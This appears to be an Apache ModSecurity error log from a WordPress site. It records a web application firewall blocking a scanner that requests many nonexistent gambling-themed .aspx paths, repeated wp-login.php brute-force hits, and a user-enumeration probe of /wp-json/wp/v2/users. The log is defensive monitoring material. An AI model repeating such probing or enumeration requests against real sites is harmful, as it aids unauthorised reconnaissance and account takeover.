[Fri Jan 30 01:17:29.332875 2026] [:error] [pid 39501:tid 39509] [client 51.83.11.76:55322] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aXuWKS_BLgXFo3daaZi9ewAAAAA"]
[Fri Jan 30 01:17:31.415654 2026] [:error] [pid 39813:tid 39830] [client 51.83.11.76:55336] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXuWK9_AaZSBkqpNK03ggQAAAU8"]
[Fri Jan 30 01:17:33.925473 2026] [:error] [pid 39813:tid 39833] [client 51.83.11.76:55340] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXuWLd_AaZSBkqpNK03gigAAAVI"]
[Fri Jan 30 01:17:36.093137 2026] [:error] [pid 39783:tid 39798] [client 51.83.11.76:55352] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aXuWMK51RNfzhKG5ppPDMwAAAE0"]
[Fri Jan 30 01:17:38.229852 2026] [:error] [pid 39783:tid 39807] [client 51.83.11.76:34330] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aXuWMq51RNfzhKG5ppPDOwAAAFY"]
[Fri Jan 30 01:17:40.560769 2026] [:error] [pid 39502:tid 39541] [client 51.83.11.76:34338] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aXuWNACUcXwXieepEYjt2QAAAIU"]
[Fri Jan 30 01:17:42.563467 2026] [:error] [pid 39592:tid 39599] [client 51.83.11.76:34346] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aXuWNplnGYODSsJUyHlB2AAAAMI"]
[Fri Jan 30 01:17:44.941000 2026] [:error] [pid 39813:tid 39816] [client 51.83.11.76:34356] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aXuWON_AaZSBkqpNK03gnwAAAUE"]
[Fri Jan 30 01:17:47.105646 2026] [:error] [pid 39501:tid 39516] [client 51.83.11.76:34362] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXuWOy_BLgXFo3daaZi9gQAAAAc"]
[Fri Jan 30 01:17:49.354366 2026] [:error] [pid 39592:tid 39619] [client 51.83.11.76:57228] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aXuWPZlnGYODSsJUyHlB5AAAANY"]
[Fri Jan 30 01:17:51.453952 2026] [:error] [pid 39592:tid 39615] [client 51.83.11.76:57244] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aXuWP5lnGYODSsJUyHlB6AAAANI"]
[Fri Jan 30 01:17:53.800060 2026] [:error] [pid 39783:tid 39807] [client 51.83.11.76:57252] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aXuWQa51RNfzhKG5ppPDbwAAAFY"]
[Fri Jan 30 01:17:56.059826 2026] [:error] [pid 39502:tid 39543] [client 51.83.11.76:57264] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aXuWRACUcXwXieepEYjt7gAAAIc"]
[Fri Jan 30 01:17:58.502378 2026] [:error] [pid 39592:tid 39618] [client 51.83.11.76:51278] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aXuWRplnGYODSsJUyHlB9AAAANU"]
[Fri Jan 30 01:18:00.764571 2026] [:error] [pid 39783:tid 39796] [client 51.83.11.76:51294] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aXuWSK51RNfzhKG5ppPDgAAAAEs"]
[Fri Jan 30 01:18:03.160610 2026] [:error] [pid 39501:tid 39527] [client 51.83.11.76:51296] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aXuWSy_BLgXFo3daaZi9oAAAABI"]
[Fri Jan 30 01:18:05.256655 2026] [:error] [pid 39592:tid 39621] [client 51.83.11.76:51304] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aXuWTZlnGYODSsJUyHlB_wAAANg"]
[Fri Jan 30 01:18:07.259985 2026] [:error] [pid 39813:tid 39828] [client 51.83.11.76:51306] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aXuWT9_AaZSBkqpNK03gywAAAU0"]
[Fri Jan 30 01:18:09.665203 2026] [:error] [pid 39783:tid 39801] [client 51.83.11.76:59342] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aXuWUa51RNfzhKG5ppPDjwAAAFA"]
[Fri Jan 30 01:18:11.877404 2026] [:error] [pid 39503:tid 39581] [client 51.83.11.76:59358] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aXuWUzzoHqvQcupFdnbzQAAAARI"]
[Fri Jan 30 01:19:11.881969 2026] [:error] [pid 39783:tid 39788] [client 51.83.11.76:48834] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXuWj651RNfzhKG5ppPEDgAAAEM"]
[Fri Jan 30 01:19:14.915226 2026] [:error] [pid 39813:tid 39819] [client 51.83.11.76:48842] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aXuWkt_AaZSBkqpNK03hcwAAAUQ"]
[Fri Jan 30 01:19:17.980787 2026] [:error] [pid 39503:tid 39568] [client 51.83.11.76:48848] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aXuWlTzoHqvQcupFdnbzxgAAAQU"]
[Fri Jan 30 01:19:21.102170 2026] [:error] [pid 39501:tid 39518] [client 51.83.11.76:32776] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aXuWmS_BLgXFo3daaZi-RAAAAAk"]
[Fri Jan 30 01:19:24.104341 2026] [:error] [pid 39783:tid 39786] [client 51.83.11.76:32790] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aXuWnK51RNfzhKG5ppPEMwAAAEE"]
[Fri Jan 30 01:19:27.008230 2026] [:error] [pid 39783:tid 39791] [client 51.83.11.76:32798] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXuWn651RNfzhKG5ppPEOAAAAEY"]
[Fri Jan 30 01:19:29.502712 2026] [:error] [pid 39502:tid 39560] [client 51.83.11.76:51072] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aXuWoQCUcXwXieepEYjuswAAAJg"]
[Fri Jan 30 01:19:33.081072 2026] [:error] [pid 39592:tid 39606] [client 51.83.11.76:51084] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXuWpZlnGYODSsJUyHlCsgAAAMk"]
[Fri Jan 30 01:19:35.854675 2026] [:error] [pid 39783:tid 39794] [client 51.83.11.76:51092] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aXuWp651RNfzhKG5ppPEQwAAAEk"]
[Fri Jan 30 01:19:38.228835 2026] [:error] [pid 39783:tid 39790] [client 51.83.11.76:45482] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXuWqq51RNfzhKG5ppPESAAAAEU"]
[Fri Jan 30 01:19:41.054089 2026] [:error] [pid 39501:tid 39518] [client 51.83.11.76:45494] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aXuWrS_BLgXFo3daaZi-cgAAAAk"]
[Fri Jan 30 01:19:44.120023 2026] [:error] [pid 39592:tid 39611] [client 51.83.11.76:45500] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aXuWsJlnGYODSsJUyHlCuAAAAM4"]
[Fri Jan 30 01:19:47.534285 2026] [:error] [pid 39592:tid 39605] [client 51.83.11.76:45516] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aXuWs5lnGYODSsJUyHlCvQAAAMg"]
[Fri Jan 30 01:19:50.214613 2026] [:error] [pid 39813:tid 39815] [client 51.83.11.76:55264] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXuWtt_AaZSBkqpNK03hxAAAAUA"]
[Fri Jan 30 01:19:53.804025 2026] [:error] [pid 39813:tid 39824] [client 51.83.11.76:55268] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aXuWud_AaZSBkqpNK03h0AAAAUk"]
[Fri Jan 30 01:19:56.334272 2026] [:error] [pid 39503:tid 39575] [client 51.83.11.76:55276] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aXuWvDzoHqvQcupFdnb0AwAAAQw"]
[Fri Jan 30 01:19:59.087734 2026] [:error] [pid 39813:tid 39837] [client 51.83.11.76:50740] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXuWv9_AaZSBkqpNK03h5wAAAVY"]
[Fri Jan 30 01:20:02.010503 2026] [:error] [pid 39813:tid 39830] [client 51.83.11.76:50754] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aXuWwt_AaZSBkqpNK03h6gAAAU8"]
[Fri Jan 30 01:20:04.258174 2026] [:error] [pid 39592:tid 39608] [client 51.83.11.76:50764] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aXuWxJlnGYODSsJUyHlC5gAAAMs"]
[Fri Jan 30 01:21:17.106773 2026] [:error] [pid 39813:tid 39826] [client 51.83.11.76:43000] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXuXDd_AaZSBkqpNK03inQAAAUs"]
[Fri Jan 30 01:21:20.070708 2026] [:error] [pid 39503:tid 39581] [client 51.83.11.76:34128] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXuXEDzoHqvQcupFdnb0iAAAARI"]
[Fri Jan 30 01:32:11.558455 2026] [:error] [pid 39592:tid 39607] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZm5lnGYODSsJUyHlIZwAAAMo"], referer: https://www.google.com/search?q=wordpress
[Fri Jan 30 01:32:32.078288 2026] [:error] [pid 39592:tid 39611] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXuZsJlnGYODSsJUyHlImwAAAM4"], referer: https://duckduckgo.com/
[Fri Jan 30 01:32:33.849057 2026] [:error] [pid 39592:tid 39600] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZsZlnGYODSsJUyHlIogAAAMM"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 30 01:32:38.567153 2026] [:error] [pid 39592:tid 39605] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZtplnGYODSsJUyHlIxwAAAMg"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 30 01:32:39.853096 2026] [:error] [pid 39592:tid 39603] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZt5lnGYODSsJUyHlIyAAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 30 01:32:42.529587 2026] [:error] [pid 39592:tid 39604] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZuplnGYODSsJUyHlI2wAAAMc"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 30 01:32:43.777791 2026] [:error] [pid 39592:tid 39615] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZu5lnGYODSsJUyHlI3wAAANI"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 30 01:32:46.310148 2026] [:error] [pid 39592:tid 39609] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZvplnGYODSsJUyHlI5AAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 30 01:32:47.526719 2026] [:error] [pid 39592:tid 39621] [client 165.245.131.173:62661] [client 165.245.131.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.245.131.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXuZv5lnGYODSsJUyHlI5gAAANg"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 30 03:10:54.957200 2026] [:error] [pid 39501:tid 39512] [client 5.135.131.226:34130] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aXuwvi_BLgXFo3daaZjhDwAAAAM"]
[Fri Jan 30 03:10:59.185928 2026] [:error] [pid 13765:tid 13777] [client 5.135.131.226:40680] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXuww7U6eEFCVbA7WHTGiAAAAYo"]
[Fri Jan 30 03:11:01.723725 2026] [:error] [pid 39592:tid 39612] [client 5.135.131.226:40690] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXuwxZlnGYODSsJUyHlhJwAAAM8"]
[Fri Jan 30 03:11:07.699580 2026] [:error] [pid 39502:tid 39555] [client 5.135.131.226:58756] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXuwywCUcXwXieepEYgNmQAAAJM"]
[Fri Jan 30 03:11:14.600328 2026] [:error] [pid 39502:tid 39559] [client 5.135.131.226:58772] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXuw0gCUcXwXieepEYgNowAAAJc"]
